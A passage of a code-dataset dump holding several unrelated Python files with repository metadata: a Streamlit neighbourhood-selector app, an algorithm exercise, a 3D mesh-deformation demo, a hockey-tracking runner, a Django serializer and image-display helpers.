' versus ' + second_neighborhood)\n best_score = scores[scores['neighborhood'] == best_neighborhood]\n second_score = scores[scores['neighborhood'] == second_neighborhood]\n comparison = pd.concat([best_score, second_score]).T.reset_index()\n comparison.columns = comparison.iloc[0]\n comparison = comparison.tail(-2).sort_values([best_neighborhood,second_neighborhood], ascending= False)\n comparison = comparison.assign(\n metrics = (normalizer * percentage_change(comparison[best_neighborhood],comparison[second_neighborhood]))\n .astype('float')\n .round(2)\n )\n comparison['metrics'] = comparison['metrics'].astype(str) + '%'\n top3_metrics = comparison.head(3)\n\n tab1, tab2, tab3 = st.tabs(['Cards','Charts','Raw Data'])\n with tab1:\n col1, col2, col3 = st.columns(3)\n\n col1.metric(label=top3_metrics['neighborhood'].iloc[0], value=top3_metrics[best_neighborhood].iloc[0], delta=top3_metrics['metrics'].iloc[0])\n\n col2.metric(label=top3_metrics['neighborhood'].iloc[1], value=top3_metrics[best_neighborhood].iloc[1], delta=top3_metrics['metrics'].iloc[1])\n \n col3.metric(label=top3_metrics['neighborhood'].iloc[2], value=top3_metrics[best_neighborhood].iloc[2], delta=top3_metrics['metrics'].iloc[2])\n st.caption(adjective + ' neighborhood compared to second ' + adjective + '.')\n st.caption('Score is a numerical representation of the metric.')\n style_metric_cards()\n with tab2:\n copy_2 = copy[['neighborhood', 'price_2015', 'price_2016', 'price_2017',\n 'price_2018', 'price_2019', 'price_2020', 'price_2021', 'price_2022']]\n copy_2 = pd.melt(copy, id_vars=['neighborhood'], value_vars=['price_2015', 'price_2016', 'price_2017',\n 'price_2018', 'price_2019', 'price_2020', 'price_2021', 'price_2022'])\n copy_2 = copy_2.rename(columns = {'variable':'price_year','value':'price(€)'})\n copy_2 = copy_2[copy_2['neighborhood'].isin([best_neighborhood,second_neighborhood])]\n line_chart = alt.Chart(copy_2).mark_line().encode(\n x=alt.X(\"price_year:N\"),\n y=alt.Y(\"price(€):Q\"),\n color = 'neighborhood:N')\n tab2.altair_chart(line_chart, use_container_width=True)\n with tab3:\n\n st.dataframe(copy, use_container_width=True)\n\n\nMIN = 1\nMAX = 9\n\nneighborhood_planner_toggle = st_toggle_switch(\n label=\"Neighbourhood Planner mode\",\n key=\"switch_1\",\n default_value=False,\n label_after=False,\n inactive_color=\"#D3D3D3\",\n active_color=\"#11567f\",\n track_color=\"#29B5E8\",\n)\n\nadd_logo('streamlit/logo.png', height=180)\n\ntitle = st.title('Neighbourhood Selector')\ncaption = st.caption('-Team GeoNinja| Vlad Matache & Wojciech Stachowiak')\nadd_vertical_space(4)\nst.markdown(\"This app's purpose is to suggest to you the best neighbourhood to move in to, based on the importance you allocate to different factors.\")\nst.markdown('After allocating all of your points press the \"Begin!\" button in order to process your data.')\nst.markdown(\"\\n\")\nst.subheader(\"You have 50 points in total to allocate.\")\n\n\nslider_scores = [\n st.slider('Importance of proximity to sport accomodations', min_value = MIN, max_value = MAX, value = 5),\n st.slider('Importance of proximity to the center of Breda', min_value = MIN, max_value = MAX, value = 5),\n st.slider('Importance of green spaces', min_value = MIN, max_value = MAX, value = 5),\n st.slider('Importance of livability score', min_value = MIN, max_value = MAX, value = 5),\n st.slider('Importance of availability of jobs', min_value = MIN, max_value = MAX, value = 5),\n st.slider('Importance of house prices', min_value = MIN, max_value = MAX, value = 5),\n st.slider('Importance of proximity to facilities(hospitals, supermarkets, schools, etc.)', min_value = MIN, max_value = MAX, value = 5),\n st.slider('Importance of population density', min_value = MIN, max_value = MAX, value = 5),\n st.slider('Importance of crime and nuisance', min_value = MIN, max_value = MAX, value = 5)\n]\n\nremaining_points = int(50 - sum(slider_scores))\nst.text('Points remaining:'+ str(remaining_points))\n\nclass neighborhood_sorter():\n '''\n This is a class that stores all the code for chosing the best neighborhood\n based on weighted feature scores. The lower the score of a neighborhood,\n The better match with the user's preferences.\n\n Input while instantiating:\n df: a dataframe that contains all the merged data (don't touch that)\n weights: a dictionary containing all the column names,\n weights and sorting directions for each feature\n \n Output:\n df: a Pandas DataFrame containing all the neiborhoods\n sorted ascending (from best match to worst) with the scores\n '''\n def __init__(self,\n df,\n weights=get_weights(slider_scores)):\n \n self.df = df\n self.weights = weights\n \n def preprocess_data(self):\n '''\n A function that assigns new columns, drops unused ones and returns cleaned\n dataframe ready for assigning scores to features.\n\n Output:\n df: a Pandas DataFrame\n '''\n df = self.df.assign(\n density = self.df['inhabitants'] / self.df['area_sqkm'],\n crime_and_nuisance = self.df['Total felonies'] + self.df['Total nuisance registrations'])\n\n df = df.drop(['Accidents (road)',\n 'Encroachment on public order', 'Fraud (other)', 'Horizontal Fraud',\n 'Human trafficking', 'Nature and landscape', 'Quality of life (other)',\n 'Road (other)', 'Spatial planning', 'Special Laws',\n 'Transport of hazardous substances', 'Under the influence (water)',\n 'Abuse', 'Air (other)', 'Animals', 'Arms Trade', 'Building materials',\n 'Cybercrime', 'Discrimination', 'Domestic Violation',\n 'Drug trafficking', 'Drugs/drink nuisance', 'Fire/Explosion',\n 'Fireworks', 'Food safety', 'Home theft/burglary', 'Immigration care',\n 'Most', 'Motor Vehicle Theft', 'Murder, Manslaughter',\n 'Neighbor rumor (relationship problems)', 'Open violence (person)',\n 'Other property crimes', 'People smuggling', 'Pesticides',\n 'Pickpocketing', 'Robbery', 'Shoplifting', 'Soil', 'Street robbery',\n 'Structure of the Environmental Management Act',\n 'Theft from/from motor vehicles',\n 'Theft of mopeds, mopeds and bicycles',\n 'Theft/burglary box/garage/shed', 'Theft/burglary of companies, etc.',\n 'Thefts (water)', 'Threat', 'Total felonies',\n 'Under the influence (air)', 'Under the influence (road)',\n 'Vertical Fraud', 'Waste', 'Water'], axis=1)\n \n df = df.drop(['Total nuisance registrations',\n 'Nuisance by confused person',\n 'Youth nuisance report',\n 'Nuisance due to alcohol/drugs',\n 'Nuisance drifters',\n 'Public intoxication',\n 'Noise nuisance catering',\n 'Noise nuisance event',\n 'Other noise nuisance'],\n axis=1)\n \n df = df.drop(['Childcare',\n 'Education',\n 'Health and well-being',\n 'Hospitality',\n 'Retail',\n 'inhabitants',\n 'light_count',\n 'light_per_1000',\n 'workplace_count',\n 'sport_building_per_1000',\n 'area_sqkm',\n 'drug_store_count'],\n axis=1)\n \n return df\n \n def create_scores(self, df):\n '''\n A function that assigns points for each feature based on the neiborhood's place (after sorting)\n \n Input:\n df: a Pandas DataFrame preprocessed with 'preprocess_data' function\n \n Output:\n df_scores: a Pandas DataFrame with all the points for every feature\n '''\n df_scores = df[['neighborhood']]\n for feature, (weight, asc_bool) in self.weights.items():\n df_merge = df.sort_values(feature, ascending=asc_bool, ignore_index=True)[['neighborhood']]\n df_merge = df_merge.assign(score = weight * pd.Series([x + 1 for x in range(56)]))\n df_scores = df_scores.merge(df_merge, how='left', on='neighborhood', suffixes=(None, f'_{feature}'))\n return df_scores\n \n def summarize_scores(self):\n '''\n A function that summarizes the score columns created by 'create_scores' function.\n\n Output:\n df: a Pandas DataFrame containing all the neighborhoods\n sorted ascending (from best match to worst) with the scores\n scores: a Pandas DataFrame with scores per feature\n '''\n df = self.preprocess_data()\n df = self.create_scores(df)\n df = df.assign(total = (\n df['score']+\n df['score_distance_from_centre_km']+\n df['score_green_score']+\n df['score_livability_score']+\n df['score_jobs_count']+\n df['score_price_2022']+\n df['score_proximity_score']+\n df['score_density']+\n df['score_crime_and_nuisance']))\n \n scores = df[['neighborhood','score','score_distance_from_centre_km','score_distance_from_centre_km', 'score_livability_score', \n 'score_jobs_count', 'score_price_2022', 'score_proximity_score', 'score_density','score_crime_and_nuisance']]\n \n return df[['neighborhood', 'total']].sort_values('total').reset_index(drop = True), scores\n \n# reading the data from a file\ndf = gpd.read_file('Code & Data/data_merged/full_join.geojson')\n# getting rid of geometry column\ndf = df.drop('geometry', axis = 1)\n\nbegin_button = st.button('Begin!')\n\n# checking if the points are correctly distributed\nif begin_button:\n if remaining_points >= 0:\n with st.spinner('Neighborhood Selector is casting spells...'):\n time.sleep(2)\n sorter = neighborhood_sorter(df)\n sums, scores = sorter.summarize_scores()\n st.success('Done!')\n show_results(sums, scores, neighborhood_planner_toggle, df)\n", "repo_name": "vladmatache224108/NeighborhoodSelector", "sub_path": "pages/App.py", "file_name": "App.py", "file_ext": "py", "file_size_in_byte": 13651, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "streamlit.markdown", "line_number": 31, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 97, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 98, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 101, "usage_type": "call"}, {"api_name": "streamlit.tabs", "line_number": 112, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 114, "usage_type": "call"}, {"api_name": "streamlit.caption", "line_number": 121, "usage_type": "call"}, {"api_name": "streamlit.caption", "line_number": 122, "usage_type": "call"}, {"api_name": "streamlit_extras.metric_cards.style_metric_cards", "line_number": 123, "usage_type": "call"}, {"api_name": "pandas.melt", "line_number": 127, "usage_type": "call"}, {"api_name": "altair.Chart", "line_number": 131, "usage_type": "call"}, {"api_name": "altair.X", "line_number": 132, "usage_type": "call"}, {"api_name": "altair.Y", "line_number": 133, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 138, "usage_type": "call"}, {"api_name": "streamlit_toggle.st_toggle_switch", "line_number": 144, "usage_type": "call"}, {"api_name": "streamlit_extras.app_logo.add_logo", "line_number": 154, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 156, "usage_type": "call"}, {"api_name": "streamlit.caption", "line_number": 157, "usage_type": "call"}, {"api_name": "streamlit_extras.add_vertical_space.add_vertical_space", "line_number": 158, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 159, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 160, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 161, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 162, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 166, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 167, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 168, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 169, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 170, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 171, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 172, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 173, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 174, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 178, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 275, "usage_type": "call"}, {"api_name": "geopandas.read_file", "line_number": 307, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 311, "usage_type": "call"}, {"api_name": "streamlit.spinner", "line_number": 316, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 317, "usage_type": "call"}, {"api_name": "streamlit.success", "line_number": 320, "usage_type": "call"}]} +{"seq_id": "38482262728", "text": "import collections\nimport functools\n\nfrom test_framework import generic_test\nfrom test_framework.test_utils import enable_executor_hook\n\nSubarray = collections.namedtuple('Subarray', ('start', 'end'))\n\n\ndef find_smallest_sequentially_covering_subset(paragraph, keywords):\n begin, end, d, counter, keywords, res = 0, 0, float('inf'), set(), set(keywords), Subarray(0, 0)\n while end < len(paragraph):\n while end < len(paragraph) and counter != keywords:\n if paragraph[end] in keywords:\n counter.add(paragraph[end])\n end += 1\n\n while counter == keywords:\n if end - begin + 1 < d:\n d = end - begin + 1\n res = Subarray(begin, end)\n if paragraph[begin] in counter:\n counter.remove(paragraph[begin])\n begin += 1\n return res\n\n\n@enable_executor_hook\ndef find_smallest_sequentially_covering_subset_wrapper(executor, paragraph,\n keywords):\n result = executor.run(\n functools.partial(find_smallest_sequentially_covering_subset,\n paragraph, keywords))\n\n kw_idx = 0\n para_idx = result.start\n if para_idx < 0:\n raise RuntimeError('Subarray start index is negative')\n\n while kw_idx < len(keywords):\n if para_idx >= len(paragraph):\n raise TestFailure(\"Not all keywords are in the generated subarray\")\n if para_idx >= len(paragraph):\n raise TestFailure(\"Subarray end index exceeds array size\")\n if paragraph[para_idx] == keywords[kw_idx]:\n kw_idx += 1\n para_idx += 1\n\n return result.end - result.start + 1\n\n\nif __name__ == '__main__':\n exit(\n generic_test.generic_test_main(\n \"smallest_subarray_covering_all_values.py\",\n 'smallest_subarray_covering_all_values.tsv',\n find_smallest_sequentially_covering_subset_wrapper))\n", "repo_name": "anurag1212/EPI-Python", "sub_path": "epi_judge_python/smallest_subarray_covering_all_values.py", "file_name": "smallest_subarray_covering_all_values.py", "file_ext": "py", "file_size_in_byte": 1955, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.namedtuple", "line_number": 7, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 32, "usage_type": "call"}, {"api_name": "test_framework.test_utils.enable_executor_hook", "line_number": 28, "usage_type": "name"}, {"api_name": "test_framework.generic_test.generic_test_main", "line_number": 54, "usage_type": "call"}, {"api_name": "test_framework.generic_test", "line_number": 54, "usage_type": "name"}]} +{"seq_id": "5445474168", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt\nimport os\nimport tqdm\nimport numpy as np\nimport imageio\nimport argparse\n\nimport soft_renderer as sr\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\ndata_dir = os.path.join(current_dir, '../data')\n\n\nclass Model(nn.Module):\n def __init__(self, template_path):\n super(Model, self).__init__()\n\n self.template_mesh = sr.Mesh.from_obj(template_path)\n self.register_buffer('vertices', self.template_mesh.vertices * 0.5)\n self.register_buffer('faces', self.template_mesh.faces)\n self.register_buffer('textures', self.template_mesh.textures)\n\n self.register_parameter('displace', nn.Parameter(torch.zeros_like(self.template_mesh.vertices)))\n self.register_parameter('center', nn.Parameter(torch.zeros(1, 1, 3)))\n\n self.laplacian_loss = sr.LaplacianLoss(self.vertices[0].cpu(), self.faces[0].cpu())\n self.flatten_loss = sr.FlattenLoss(self.faces[0].cpu())\n\n def forward(self, batch_size):\n base = torch.log(self.vertices.abs() / (1 - self.vertices.abs()))\n centroid = torch.tanh(self.center)\n vertices = torch.sigmoid(base + self.displace) * torch.sign(self.vertices)\n vertices = F.relu(vertices) * (1 - centroid) - F.relu(-vertices) * (centroid + 1)\n vertices = (vertices + centroid) * 2.0\n\n # define Laplacian and flatten geometry constraints\n laplacian_loss = self.laplacian_loss(vertices).mean()\n flatten_loss = self.flatten_loss(vertices).mean()\n\n return sr.Mesh(vertices.repeat(batch_size, 1, 1), \n self.faces.repeat(batch_size, 1, 1)), laplacian_loss, flatten_loss\n\n\ndef neg_iou_loss(predict, target):\n dims = tuple(range(predict.ndimension())[1:])\n intersect = (predict * target).sum(dims)\n union = (predict + target - predict * target).sum(dims) + 1e-6\n return 1. - (intersect / union).sum() / intersect.nelement()\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--filename-input', type=str, \n default=os.path.join(data_dir, 'source.npy'))\n parser.add_argument('-c', '--camera-input', type=str, \n default=os.path.join(data_dir, 'camera.npy'))\n parser.add_argument('-t', '--template-mesh', type=str, \n default=os.path.join(data_dir, 'obj/sphere/sphere_642.obj'))\n parser.add_argument('-o', '--output-dir', type=str, \n default=os.path.join(data_dir, 'results/output_deform'))\n parser.add_argument('-b', '--batch-size', type=int,\n default=120)\n args = parser.parse_args()\n\n os.makedirs(args.output_dir, exist_ok=True)\n\n model = Model(args.template_mesh).cuda()\n renderer = sr.SoftRenderer(image_size=64, sigma_val=3e-5, aggr_func_rgb='hard', \n camera_mode='look_at')\n\n images = np.load(args.filename_input).astype('float32') / 255.\n cameras = np.load(args.camera_input).astype('float32')\n optimizer = torch.optim.Adam(model.parameters(), 0.01, betas=(0.5, 0.99))\n\n camera_distances = torch.from_numpy(cameras[:, 0])\n elevations = torch.from_numpy(cameras[:, 1])\n viewpoints = torch.from_numpy(cameras[:, 2])\n renderer.transform.set_eyes_from_angles(camera_distances, elevations, viewpoints)\n\n loop = tqdm.tqdm(list(range(0, 20000)))\n writer = imageio.get_writer(os.path.join(args.output_dir, 'deform.gif'), mode='I')\n for i in loop:\n images_gt = torch.from_numpy(images).cuda()\n\n mesh, laplacian_loss, flatten_loss = model(args.batch_size)\n images_pred = renderer.render_mesh(mesh)\n\n loss = neg_iou_loss(images_pred[:, 3], images_gt[:, 3]) + 0.03 * laplacian_loss + 0.001 * flatten_loss\n\n loop.set_description('Loss: %.4f'%(loss.item()))\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if i % 100 == 0:\n image = images_pred.detach().cpu().numpy()[0].transpose((1, 2, 0))\n writer.append_data((255*image).astype(np.uint8))\n\n model(1)[0].save_obj(os.path.join(args.output_dir, 'plane.obj'), save_texture=False)\n\n\nif __name__ == '__main__':\n main()", "repo_name": "kyleolsz/public-kaolin", "sub_path": "examples/renderers/SoftRas/examples/demo_deform.py", "file_name": "demo_deform.py", "file_ext": "py", "file_size_in_byte": 4175, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "80", "api": [{"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "soft_renderer.Mesh.from_obj", "line_number": 21, "usage_type": "call"}, {"api_name": "soft_renderer.Mesh", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.nn.Parameter", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.zeros_like", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "soft_renderer.LaplacianLoss", "line_number": 29, "usage_type": "call"}, {"api_name": "soft_renderer.FlattenLoss", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.sign", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 36, "usage_type": "name"}, {"api_name": "soft_renderer.Mesh", "line_number": 43, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 68, "usage_type": "call"}, {"api_name": "soft_renderer.SoftRenderer", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 76, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 80, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 83, "usage_type": "call"}, {"api_name": "imageio.get_writer", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}]} +{"seq_id": "12513465126", "text": "import os\nimport csv\nfrom pathlib import Path\nimport pandas as pd\nimport time\nimport cv2\nimport getopt\nimport sys\nimport json\n\nif os.path.exists('./dataset') == False:\n raise Exception('Download Dataset')\n\n\nclass Runner:\n def __init__(self, mode, debug):\n self.debug = debug\n self.mode = mode\n\n def _output(self, row, coords, ms):\n out = {\n 'videoId': row['videoId'],\n 'frameId': row['frameId'],\n }\n\n if (len(coords) != len(row['players'])):\n print(\n 'partial submission cords length does not equal players length')\n\n out['time (ms)'] = ms\n\n out['cords'] = coords\n\n return out\n\n def _implementation(self, frame, rink, players):\n return []\n\n def _images(self):\n with open(\"submissions/submission.{}.csv\".format(int(time.time())), 'w', newline='') as csvfile:\n fieldnames = ['videoId', 'frameId', 'cords', 'time (ms)']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n\n rows = pd.read_csv('./dataset/players_coords.csv')\n baseRink = cv2.imread('./dataset/rink.jpg')\n\n for _, row in rows.iterrows():\n img = cv2.imread(row['image'])\n rink = baseRink.copy()\n\n players = json.loads(row['players'])\n\n ms = int(round(time.time() * 1000))\n\n coords = self._implementation(img, rink, players)\n\n ms = int(round(time.time() * 1000)) - ms\n\n writer.writerow(self._output(row, coords, ms))\n\n def _videos(self):\n rows = pd.read_csv('./players_coords.csv')\n baseRink = cv2.imread('./dataset/rink.jpg')\n\n index = {}\n\n for _, row in rows.iterrows():\n if row['videoId'] not in index:\n index[row['videoId']] = {\n \"path\": row['video'],\n \"frames\": {}\n }\n\n frames = index[row['videoId']]['frames']\n\n frames[row['frameId']] = row['players']\n\n for key in index:\n video = index[key]\n cap = cv2.VideoCapture(video['path'])\n\n while(cap.isOpened()):\n ret, frame = cap.read()\n\n if ret == True:\n pos_frame = cap.get(1)\n\n players = None\n\n if pos_frame in video['frames']:\n players = video['frames'][pos_frame]\n\n if players:\n rink = baseRink.copy()\n\n ms = int(round(time.time() * 1000))\n\n coords = self._implementation(frame, rink, players)\n\n ms = int(round(time.time() * 1000)) - ms\n\n cv2.imshow('scene', frame)\n\n cv2.waitKey(10)\n else:\n break\n\n cap.release()\n cv2.destroyAllWindows()\n\n def run(self):\n if self.mode == \"video\":\n self._videos()\n else:\n self._images()\n\n\nfull_cmd_arguments = sys.argv\nargument_list = full_cmd_arguments[1:]\nlong_options = [\"debug\", \"videos\"]\n\ntry:\n arguments, values = getopt.getopt(\n argument_list, \"\", long_options)\nexcept getopt.error as err:\n # Output error, and return with an error code\n print(str(err))\n sys.exit(2)\n\ndebug = False\nmode = \"images\"\n\nfor current_argument, current_value in arguments:\n if current_argument in (\"--videos\"):\n mode = \"video\"\n elif current_argument in (\"--debug\"):\n debug = True\n\nrunner = Runner(mode, debug)\nrunner.run()\n", "repo_name": "Arbaba/hockey-tracking", "sub_path": "run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 3651, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "os.path.exists", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 40, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 49, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 52, "usage_type": "call"}, {"api_name": "time.time", "line_number": 54, "usage_type": "call"}, {"api_name": "time.time", "line_number": 58, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 81, "usage_type": "call"}, {"api_name": "time.time", "line_number": 97, "usage_type": "call"}, {"api_name": "time.time", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 103, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 105, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 110, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 119, "usage_type": "attribute"}, {"api_name": "getopt.getopt", "line_number": 124, "usage_type": "call"}, {"api_name": "getopt.error", "line_number": 126, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 129, "usage_type": "call"}]} +{"seq_id": "31120679607", "text": "from rest_framework import serializers\nfrom django.contrib.auth.models import User\n\n\nclass UserSerializer(serializers.ModelSerializer):\n # value = serializers.StringRelatedField(source='RelationTypeId')\n # label = serializers.StringRelatedField(source='Description')\n\n class Meta:\n model = User\n # fields = ('value', 'label')\n fields = \"__all__\"\n\n def to_representation(self, instance):\n representation = super().to_representation(instance)\n\n to_represent = {\n \"value\": representation['id'],\n \"label\": \"{} {}\".format(representation['first_name'], representation['last_name'])\n }\n\n return to_represent\n", "repo_name": "dev1andriy/creditbase_server", "sub_path": "common/serializers/configs/user_serializer.py", "file_name": "user_serializer.py", "file_ext": "py", "file_size_in_byte": 684, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 5, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 5, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User", "line_number": 10, "usage_type": "name"}]} +{"seq_id": "28026458566", "text": "import PIL.Image\nfrom PIL import Image, ImageDraw\nfrom math import ceil\nimport numpy as np\nfrom io import BytesIO\nimport IPython.display\n\ndef imshow(a, format='png', jpeg_fallback=True):\n a = np.asarray(a, dtype=np.uint8)\n str_file = BytesIO()\n PIL.Image.fromarray(a).save(str_file, format)\n im_data = str_file.getvalue()\n try:\n disp = IPython.display.display(IPython.display.Image(im_data))\n except IOError:\n if jpeg_fallback and format != 'jpeg':\n print ('Warning: image was too large to display in format \"{}\"; '\n 'trying jpeg instead.').format(format)\n return imshow(a, format='jpeg')\n else:\n raise\n return disp\ndef createImageGrid(images, scale=0.25, rows=1):\n w,h = images[0].size\n w = int(w*scale)\n h = int(h*scale)\n height = rows*h\n cols = ceil(len(images) / rows)\n width = cols*w\n canvas = PIL.Image.new('RGBA', (width,height), 'white')\n for i,img in enumerate(images):\n img = img.resize((w,h), PIL.Image.ANTIALIAS)\n canvas.paste(img, (w*(i % cols), h*(i // cols)))\n return canvas\n\ndef show_four_results(result_dir=\"/validation_stimuli\",start_no=0, coeff = 1.0):\n images =[]\n for n in range(4):\n images+=[PIL.Image.open(result_dir+'/images/'+str(n+start_no)+sufix) for sufix in ['neg'+str(coeff)+'.png','neu.png','pos'+str(coeff)+'.png']]\n imshow(createImageGrid(images,0.4,4))", "repo_name": "AdamSobieszek/psychGAN", "sub_path": "stylegan2/show_images.py", "file_name": "show_images.py", "file_ext": "py", "file_size_in_byte": 1371, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.asarray", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 9, "usage_type": "attribute"}, {"api_name": "io.BytesIO", "line_number": 10, "usage_type": "call"}, {"api_name": "PIL.Image.Image.fromarray", "line_number": 11, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 11, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 11, "usage_type": "name"}, {"api_name": "IPython.display.display.display", "line_number": 14, "usage_type": "call"}, {"api_name": "IPython.display.display", "line_number": 14, "usage_type": "attribute"}, {"api_name": "IPython.display", "line_number": 14, "usage_type": "name"}, {"api_name": "IPython.display.display.Image", "line_number": 14, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.Image.Image.new", "line_number": 30, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 30, "usage_type": "name"}, {"api_name": "PIL.Image.Image", "line_number": 32, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 32, "usage_type": "name"}, {"api_name": "PIL.Image.Image.open", "line_number": 39, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 39, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 39, "usage_type": "name"}]} +{"seq_id": "27548222141", "text": "import ctypes\n\nfrom libsunnet.__init__ import _LIB\nimport json\nfrom libsunnet.snBase import*\nimport numpy\n\nclass Net():\n \"\"\"Net object.\"\"\"\n\n _net = 0\n _nodes = []\n _errCBack = 0\n _userCBack = {}\n\n def __init__(self, jnNet : str = '', weightPath : str = ''):\n \"\"\"\n init\n :param jnNet: architec of net json\n :param weightPath: weight file path\n \"\"\"\n if (len(jnNet) > 0):\n self._createNetJn(jnNet)\n\n if (self._net and (len(weightPath) > 0)):\n self.loadAllWeightFromFile(weightPath)\n\n def 